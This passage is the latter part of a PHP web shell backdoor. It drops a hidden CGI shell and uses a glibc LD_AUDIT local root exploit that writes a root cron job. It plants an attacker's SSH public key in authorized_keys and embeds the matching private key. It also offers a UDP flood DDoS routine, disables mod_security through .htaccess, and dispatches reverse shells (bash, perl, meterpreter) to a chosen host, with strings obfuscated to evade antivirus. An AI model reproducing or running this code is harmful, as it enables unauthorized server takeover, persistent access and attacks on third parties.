H1gURyCa3MzBz9ZeBd5uATFhkzq6NIDAAUKA3ydFv0EfXx5+O6nWCp/4D/SXud2v3X9o7prdwI06jDq+NBkIwc+YRTLp4aV+1KD9M1v+d/F6jNJlCxVtFrDEtRs01LlGg+GVChCMoooO6EzAGs4tkNbnX9WzhEk4q3ua6PsycO6RiN20syI1EgELPIJUPQC179UtG8M/4XuLS3bc8S2693QMmxyBOBSXoinI6kCGpEH44cTkJ5J0lRHhWTAavtKkgg8y3hAzPisn8jDxVQYfz3BJCIk9SWi6Hh0N+kkPObAxpiNkd35qTiY/82dmHn/zkKUPyNIbh8/iJ/IEnNZ/IC5bnTsMnD3w4A1ljyfaE3zDaj5AgiegWD+l5VVV6q76SmBf1DGAizDNOFef8LGAqjVVIydpZUCn0VTic11mgRF2oYEKM1ItNTO741UVSnbwgpgENIpOFeSNcGND3JJzZURGbXmqr4aWGJwtFWm4alWyx07iMpzt/RQoMxkwXlw5f400oUA2tISg1wJPok78OKfkngdf8bZM8NKmedC1T0PJI31O2q61k13zwouSBuC25JX50+fb2/fXB8f55fJdya3Sy+/F6dH62//aonkFvhSxCexzar3faFdvktLFfFf3jtMa2a+m6MsmbBNqU31qWc6Q4Jm6oAeOz/YCVJKQfv/Hp4QiyZmV8LLHtdsJ7fGXQzmLoZtOwrKDOe5PvzfWjnOWHV0Qv/K5uiv17Hu70aD8M0nkYpFsAASsTnCed8iu0wxlZs3MRVLMVzhYRruDp3ZLuzGdmLjxTx9R8cExj243khrEwtOjH42Wp/7YBxE/lIKr9y+u+dKAqIDuPhuyWQmaGDoRHyeAlffvYYTL/bMMUby0F4RKwhW3p7WY775GVLFnih98owe8rLwpnkbdmaFlatrUE3rZykL5tNYkJ7oF1Gnh8//0Ar0mXDEXyrOYj5QEpYTMpOkHc8dusl40vAvBKNzS8/Fpr2JZ8KuUdqDRzP+vahwNQkgeH+6BI1i32eR0DBA9gnBwBtHLdXSX06dvzD1qT8kv6ubBeD4Fbe/xdPPFv2hAEEYciDq0me75/dgRkHdtd3JWwvFqBUUdr8u34DfCdLhdvLme9y9vLl+iONvi14CWBMxgnsFBhtmjJ3CrplLTjl3V0durl5nv5xdro13K0uXHDUAJgrP3k+mzv5Pjwt3/y5+OT43eHoGVzXIQfU4QHJxZfHVPZr0mhA0ow0Bf+Mu6ZTbM3/r2QWxofxQ93fMl5sChpQvzBZS6Xb+7iXnVL/OgX46Z51bzA/+oX7atesU7q5x+iRXwjupuKxM32j6+K/Z1p2IV7JVfN/lHS7gLoxFmEs/zMxM9S+YGfXAAOXCRpa1Vvayh3mgrxOhFrHfvy8DaGsZZE7WIP6x3YRYSHuyKPSJ2uulu1H04hs8pFgezE2ei2N7cf7WLUHt0eU7Yn5FfqyHPcj26hYd6sSR0E1jhznGSjhmyhuKmnoo2i3IwvvfRunNjJf0KvbW5uPL7Tfnhsr5nf1Gu7M9v37zsbG68Jc2eGazKLjAs9SfQA7w4FsYgyCA9D/Im7tujyZv2j1D3a2zsZPftGz77Rs2/07BuRZ98IP8++0bNv9OwbPftGz77Rs2/07Bv91/lG6f8VIz2VLm/oIj31BoRmNluceMqA8CQFLL7qLAGSd3koIGLnUwohdk4pAK68ojKBkIJFAcEl3CR79POhkmVZnlJHdP543u8XmUvdr/Tkf/3xkd3voxFWuXMr7bv/Aw==")); @mkdir("cgi"); file_put_contents("cgi/fuhosin.xx",$lsdshell); file_put_contents("cgi/.htaccess",$htaccess); @chmod("cgi/fuhosin.xx",0755); } function get_user() { // lets see who we ownd today if(suhosin_func_exists("posix_geteuid") && suhosin_func_exists("posix_getpwuid")) { $user = posix_getpwuid(posix_geteuid()); $user = $user["name"]; } else { $user = get_current_user(); } return $user; } function get_home() { // get our home dir if(suhosin_func_exists("posix_geteuid") && suhosin_func_exists("posix_getpwuid")) { // best way $user = posix_getpwuid(posix_geteuid()); $ret = $user["dir"]; } else if(suhosin_func_exists("getenv")) { // kinda ok way $ret = getenv("HOME"); } else { // shitty way $user = get_user(); $ret = "/home/".$user; } return $ret; } function glibc_local() { // TODO: add payloads to this $rstr = rstr(); if(suhosin_func_exists("putenv") && file_exists("/lib/libpcprofile.so")) { // someone set up us the bomb putenv("LD_AUDIT=libpcprofile.so"); // we get signal putenv("PCPROFILE_OUTPUT=/etc/cron.d/$rstr"); // main screen turn on } else { return "you fail it"; } normal_exe("umask 0; ping > /dev/null 2>&1"); // its you! if(file_exists("/etc/cron.d/$rstr") && is_writable("/etc/cron.d/$rstr")) { // HOW ARE YOU GENTLEMEN file_put_contents("/etc/cron.d/$rstr", "* * * * * root chmod 4755 /usr/bin/php-cgi /usr/local/bin/php-cgi; rm /etc/cron.d/$rstr"); // ALL YOUR BASE ARE BELONG TO US }else { return "you fail it twice"; } return "success? wait 1 minute and check your uid"; } function get_ssh_port() { if(windows()) return '0'; // fuck this shit $config = @file_get_contents("/etc/ssh/sshd_config"); // most common place... if($config != '') { $lines = explode("\n",$config); foreach($lines as $line) { if(strpos($line, "Port") !== false && strpos($line,"GatewayPorts") === false) { $crap = explode(" ", $line); $port = $crap[1]; return $port; } elseif(strpos($line, "ListenAddress") !== false && strpos($line,":") !== false) { $crap = explode(" ", $line); $splitaddr = explode(":",$crap[1]); $port = $splitaddr[1]; return $port; } } } else { return '22';} // guess for now... self port-scan later?? } function add_key() { // add our SSH public RSA keys to the list of authorized ones $pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9itZ/PPfGNn2PArA94f0bTP/Mpz2aRo6eLMgdexoJQ++ToWndXgxs3KzQCLza2mICHiH+nNNaa+PmEjnppHJGk3Rb8vtR8ojirpXvdcaRI+on/zPkGJB54c123IN0jwVPFFjCvCQQNpZtpBQMoeXYRTNNmX6lif1uuCm5LjxfPOR2lRG0dNIVW5SsAiuhXBRNWguVN/ctuKK2MhLWJ31HnGk4g2Qv0270sb4BSpkcQRGX6ZitN5KHnS12sjtvvfc/h5vn0bzt5YP4rA4NTwWEGeLxABzCvW9hXL+b3D9XLhP6alE6HOgJNT+TATRjnFScfrdBd91XPso0dD1FcXRv fuck@suhosin"; $home = get_home(); @mkdir($home."/.ssh"); if(file_exists($home."/.ssh/authorized_keys")) { $ak = file_get_contents($home."/.ssh/authorized_keys"); if(!(strstr($ak,$pk) === false)) { return 0; } } $authkeys = @fopen($home."/.ssh/authorized_keys","a"); if(is_resource($authkeys)) { @fwrite($authkeys,"\n".$pk."\n"); @fclose($authkeys); } } /* FIND A BETTER WAY TO DO THIS BECAUSE VIRTUAL SUCKS AND DOESNT WORK WITH OUTPUT BUFFERS function ssi($command) { $ht = "IyBTZWxmIGNvbnRhaW5lZCAuaHRhY2Nlc3Mgd2ViIHNoZWxsIC0gUGFydCBvZiB0aGUgaHRzaGVsbCBwcm9qZWN0CiMgV3JpdHRlbiBieSBXaXJlZ2hvdWwgLSBodHRwOi8vd3d3Lmp1c3Rhbm90aGVyaGFja2VyLmNvbQojIE92ZXJyaWRlIGRlZmF1bHQgZGVueSBydWxlIHRvIG1ha2UgLmh0YWNjZXNzIGZpbGUgYWNjZXNzaWJsZSBvdmVyIHdlYgo8RmlsZXMgfiAiXlwuaHQiPgogICAgT3JkZXIgYWxsb3csZGVueQogICAgQWxsb3cgZnJvbSBhbGwKPC9GaWxlcz4KIyBFbmFibGUgc2VydmVyc2lkZSBpbmNsdWRlcyB3aXRoIGV4ZWMgZnVuY3Rpb25hbGl0eQpPcHRpb25zICtJbmNsdWRlcwojTWFrZSBhcGFjaGUgdHJlYXQgLmh0YWNjZXNzIGFzIGEgc2VydmVyIHNpZGUgaW5jbHVkZSBmaWxlCkFkZEhhbmRsZXIgdGV4dC9odG1sIC5odGFjY2VzcwpBZGRPdXRwdXRGaWx0ZXIgSU5DTFVERVMgLmh0YWNjZXNzCiNTSEVMTDwhLS0jZXhlYyBjbWQ9ImVjaG8gJyciIC0tPjwhLS0jaWYgZXhwcj0iJFFVRVJZX1NUUklOR19VTkVTQ0FQRUQgPSAvXmM9KC4qKSQvIiAtLT48IS0tI3NldCB2YXI9ImNtZCIgdmFsdWU9IiQxIDI+JjEiIC0tPjwhLS0jZWxzZSAtLT48IS0tI3NldCB2YXI9ImNtZCIgdmFsdWU9ImVjaG8gJ1JlZ2V4IGZhaWxlZCciIC0tPjwhLS0jZW5kaWYgLS0+PCEtLSNleGVjIGNtZD0iJGNtZCItLT4K"; $ht = $GLOBALS["nintendosixtyfour"]($ht); @mkdir("./ssi"); file_put_contents("./ssi/.htaccess",$ht); if(suhosin_func_exists('virtual')) { @ob_start(); @virtual("ssi/.htaccess?c=$command"); $ret = @ob_get_contents(); @ob_end_clean(); } else $ret = ""; return $ret; } FIND A BETTER WAY TO DO THIS BECAUSE VIRTUAL SUCKS AND DOESNT WORK WITH OUTPUT BUFFERS */ function perl_exec($command) { $perl=new perl(); $derp = "\x65v\x61l"; ob_start(); $perl->$derp("syst\x65m(\"$command\")"); $exec=ob_get_contents(); ob_end_clean(); return $exec; } function ssh_exe($cmd,$sshport) { // Bypass #2: SSH $user = get_user(); $key = <<< DONGS -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAvYrWfzz3xjZ9jwKwPeH9G0z/zKc9mkaOnizIHXsaCUPvk6Fp 3V4MbNys0Ai82tpiAh4h/pzTWmvj5hI56aRyRpN0W/L7UfKI4q6V73XGkSPqJ/8z 5BiQeeHNdtyDdI8FTxRYwrwkEDaWbaQUDKHl2EUzTZl+pYn9brgpuS48XzzkdpUR tHTSFVuUrAIroVwUTVoLlTf3LbiitjIS1id9R5xpOINkL9Nu9LG+AUqZHEERl+mY rTeSh50tdrI7b733P4eb59G87eWD+KwODU8FhBni8QAcwr1vYVy/m9w/Vy4T+mpR OhzoCTU/kwE0Y5xUnH63QXfdVz7KNHQ9RXF0bwIDAQABAoIBAHZUQMi6dSznQ8eO NBzOAseScHeBSPIRbmPNLTlKatyx7tVJhd/PIQ6tTa2qZsxyXZFY4nwjx8bBaEtv wXvdUAJDd/cXYFKuiUqLF8ugyVA/DaXeqrSRqVCN6Ul1LRQNXZEa8LbR4enFSnA0 aNfiEq3LtdWSKACMfw0qJ9IVzVbehXM8fk1hpCbqAFxg1IcKbWmopQCgtdsLS/gz rWYjMzl327TeJGtbTZvwIw0ASWx0y09BQVQGWOzH9zM5pqF0IKYP+MmeCIxpJKXu GIPMRuXor1cv8j08z79JqT14bkrOSmSeaGmsDpodqgqQuxi2NNDt26u70m9YyjU7 L/8G+nECgYEA+/lvmCQGFN4fvZe/m1t8wF44NwmoQNuEU0Mwd1U9yQbylQflHb5m da9rzsMRAwBnjoAjG1e4985IdbzPkrnv8T9ZxqW/O/YCFAYbqDQZCFmYQQYeZCo0 2h+xIRScwrw2ZqyPp1F8BGXD5n4s4icvuKiuUXS/N5+ko7dx3YEzBKsCgYEAwJIO xvoWzkgNOta7xN7M94egx/xQlpl6KE70m5rWmWF37ZBaCl3BXMl/jjocqen0azQH TwlWByN+nWbP0FKgS+P37gA+Q68onvGO6xx+d0oelqSlEa0MzOS1Cf3u720zL7Hi 8QnAD1yJViBpnbMDBMAgdXUTdfTM/Dc44KwpJ00CgYBL0J6SMWyfBMKaIjmlvh5I J1FUxhQZB7PF9bZ0gXJotS1ySADZNTvQ9ypB+RF6TLnb95QYmwltjmThACGYrVeT yBL0IVTr7rZrXfceYiaSC5szHWsxij2Cz/xUzsXoFgdsV0mV93+QNyp9hMNufInw Tti8a5tJWkCIfh7FniVCpwKBgQCVld9cuQ/WFSoRtpQNDXTyIqzGLDz9fyLhBNQF u3VPl+Ls6uDGhKWbSfqHpKR3aICwda3nuzzUNsI3ypFLJaPWz7Lbcdzr/rfzH3kB MRUb3Lt+EU8YN/BliJMIu/RKj+ze87NxwT0rsZoNCQiBs3h4zDVqiBMh4ZMJqGvK OnGNUQKBgFn7JrRJBzpP9WDLYZjpRL8cj88qn0eZMim3sayAYYKoQ+nJaQfw2NTh tI3NEtLn6aAtKIIRHloA98khhhLSut4yCb63niVg/l7AJlKkBXYE7tiL9Fl3lt2W QrPcPJnEJgZqozsi34BIgzTtTOI/X76A5Pq/Y8VSRLXcnjI0EvZL -----END RSA PRIVATE KEY----- DONGS; add_key(); $auth = new Crypt_RSA(); $auth->loadKey($key); $ssh = new Net_SSH2('127.0.0.1',$sshport); if (!$ssh->login($user, $auth)) { $result = "[-] Couldn\'t log in\nCheck if your command is correct."; } else { $result = $ssh->exec($cmd); } return $result; } function downloadFile () { $url=$_POST['loc']; $newfname = basename($url); $file = fopen ($url, "rb"); if ($file) { $newf = fopen ($newfname, "wb"); if ($newf) { while(!feof($file)) { fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 ); } } if ($file && $newf) return "File downloaded to ./$newfname\nMD5: ".md5_file($newfname)."\n"; if ($file) fclose($file); if ($newf) fclose($newf); } } function ddos($host, $exec_time){ ignore_user_abort(TRUE); set_time_limit(0); $out = ''; $fuckyouavast = "\x66\x73\x6f\x63\x6bop\x65n"; $time = time(); $max_time = $time+$exec_time; for($i=0;$i<65400;$i++){ $out .= 'h'; } while(1){ if(time() > $max_time){ break; } $rand = rand(1,65535); $fp = $fuckyouavast("u\x64p:\x2f\x2f".$host, $rand, $errno, $errstr, 5); if($fp){ @fwrite($fp, $out); fclose($fp); } } } function htaccess() { file_put_contents(".htaccess"," SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off SetEnv PHPRC ".getcwd()."/php.ini suPHP_ConfigPath ".getcwd()."/php.ini php_admin_flag suhosin.executor.func.blacklist hack,the,planet php_admin_flag disable_functions SUCK,MY,DIIIIIIIIIIICK php_admin_flag safe_mode off php_admin_flag magic_quotes_gpc off "); } function login() { // keep lam3rz out echo "ah ah ah, you didn't say the magic word!
"; } ///////////////////////////////////////////////////////////////////////////////////////////////////// if(get_magic_quotes_gpc()) { /* magic sucks. let's kill it. */ $_POST = stripslashes_deep($_POST); $_GET = stripslashes_deep($_GET); $_COOKIE = stripslashes_deep($_COOKIE); $_REQUEST = stripslashes_deep($_REQUEST); $_SERVER = stripslashes_deep($_SERVER); $_FILES = stripslashes_deep($_FILES); $_ENV = stripslashes_deep($_ENV); if (isset($_SESSION)) { $_SESSION = stripslashes_deep($_SESSION, ''); } } $me = basename(__FILE__); if(isset($_POST['dongpass']) && !empty($password)) { if(strlen($password) == 32) { $_POST['dongpass'] = md5($_POST['dongpass']); } if($_POST['dongpass'] == $password) { setcookie("dongs", $_POST['dongpass'], time()+3600); } else { echo ""; } reload(); } if(!empty($password) && !isset($_COOKIE["dongs"]) or ($_COOKIE["dongs"] != $password)) { login(); die(); } $randnum = mt_rand(1000000000,9999999999); // cache evasion $phpself = htmlentities($_SERVER['PHP_SELF'])."?$randnum"; function reload() { $randnum = mt_rand(1000000000,9999999999); // cache evasion $phpself = htmlentities($_SERVER['PHP_SELF'])."?$randnum"; header("Location: $phpself"); } function logout() { setcookie("dongs","h",time()+1); } if(isset($_POST["logout"])) { logout(); reload(); } if(isset($_POST["htax"])) htaccess(); if(isset($_POST["sshport"])) { if($_POST["sshport"] != "") { $sshport = $_POST["sshport"]; } else { $sshport = get_ssh_port(); } } else $sshport = get_ssh_port(); if(isset($_POST["phpini"])) write_ini(); if(isset($_POST["cgi"])) { write_cgish(); $results .= "cgi shell written to cgi/fuhosin.xx. password is loldongs\n"; } if(isset($_POST["adminer"])) { file_put_contents("adminer.php",gzinflate($nintendosixtyfour($adminer))); $results .= "Adminer written to ./adminer.php\n"; } if(isset($_POST["r00t"])) $results .= glibc_local(); if(isset($_POST["dl"])) $results .= downloadFile(); if(isset($_POST["xx"])) { $command = shit64_decode($_POST["xx"]); if($_POST["ForceSSH"] == 1) { $result = ssh_exe($command,$sshport); $results .= $result."\n"; } else { if(isset($_POST["dir"])) { $dir = $_POST["dir"]; } else {$dir = getcwd();} @chdir($dir); $result = normal_exe($command); if($result == "" && !suhosin_func_exists("system") && !suhosin_func_exists("passthru") && !suhosin_func_exists("exec") && !suhosin_func_exists("shell_exec") && !suhosin_func_exists("proc_open") && !suhosin_func_exists("pcntl_exec") && !suhosin_func_exists("popen")) { // long one $result = ssh_exe($command,$sshport); } $results .= $result."\n"; } } else $dir = getcwd(); if(isset($_POST["ddos"])) $results .= ddos($_POST["host"], $_POST["time"]); if(isset($_POST["code"])) { $focusid = "code"; $results .= wtf($_POST["code"]); } if(isset($_POST["cb_type"])) { if($_POST["cb_type"] == "php") php_reverse($_POST["cb_host"], $_POST["cb_port"]); elseif($_POST["cb_type"] == "bash") bash_reverse($_POST["cb_host"], $_POST["cb_port"]); elseif($_POST["cb_type"] == "met") meterpreter_connect($_POST["cb_host"], $_POST["cb_port"]); elseif($_POST["cb_type"] == "tty") chippy_reverse($_POST["cb_host"], $_POST["cb_port"]); elseif($_POST["cb_type"] == "phptty") phptty_reverse($_POST["cb_host"], $_POST["cb_port"]); elseif($_POST["cb_type"] == "perl") perl_reverse($_POST["cb_host"], $_POST["cb_port"]); } // file upload if(isset($_FILES["file"])) { if ($_FILES["file"]["error"] > 0) $results .= "Error: " . $_FILES["file"]["error"] . "\n"; else { if (move_uploaded_file($_FILES["file"]["tmp_name"],"./" . $_FILES["file"]["name"])) { $results .= "Upload successful\n"; $results .= "MD5: ".md5_file("./".$_FILES["file"]["name"])."\n"; } else $results .= "upload failed\n"; } } if(isset($_POST["savefile"])) { $content = $GLOBALS["nintendosixtyfour"]($_POST["content"]); $savefile = $_POST["savefile"]; $savefile=str_replace("~",get_home(),$savefile); // fake path canonicalization cause im lazy file_put_contents($savefile,$content); $results = "saved $savefile\nMD5: ".md5_file($savefile); } elseif(isset($_POST["loadfile"])) { $loadfile=str_replace("~",get_home(),$_POST['loadfile']); // fake path canonicalization cause im lazy $results = file_get_contents($loadfile); } elseif(isset($_POST["sql"])) { // do sql shit $query = shit64_decode($_POST["realquery"]); $sqldb = $_POST["sqldb"]; $sqlhost = $_POST["sqlhost"]; $sqluser = $_POST["sqluser"]; $sqlpw = $_POST["sqlpw"]; $sqlresults = sql_query($sqlhost,$sqluser,$sqlpw,$sqldb,$query); $results .= implode("\n", $sqlresults); } else { // set some defaults so our forms dont look derptarded $query = "sql query"; $sqldb = "sql db"; $sqlhost = "sql host"; $sqluser = "sql user"; $sqlpw = "sql pw"; } if(isset($_POST["x"])) $focusid = "x"; elseif(isset($_POST["sql"])) $focusid = "sqlquery"; print_page($results, $sqlhost, $sqldb, $sqluser, $sqlpw, $query, $focusid, $sshport); /* and the daemon said, be you angels? and we said NAY! WE ARE BUT MEN! */ ?>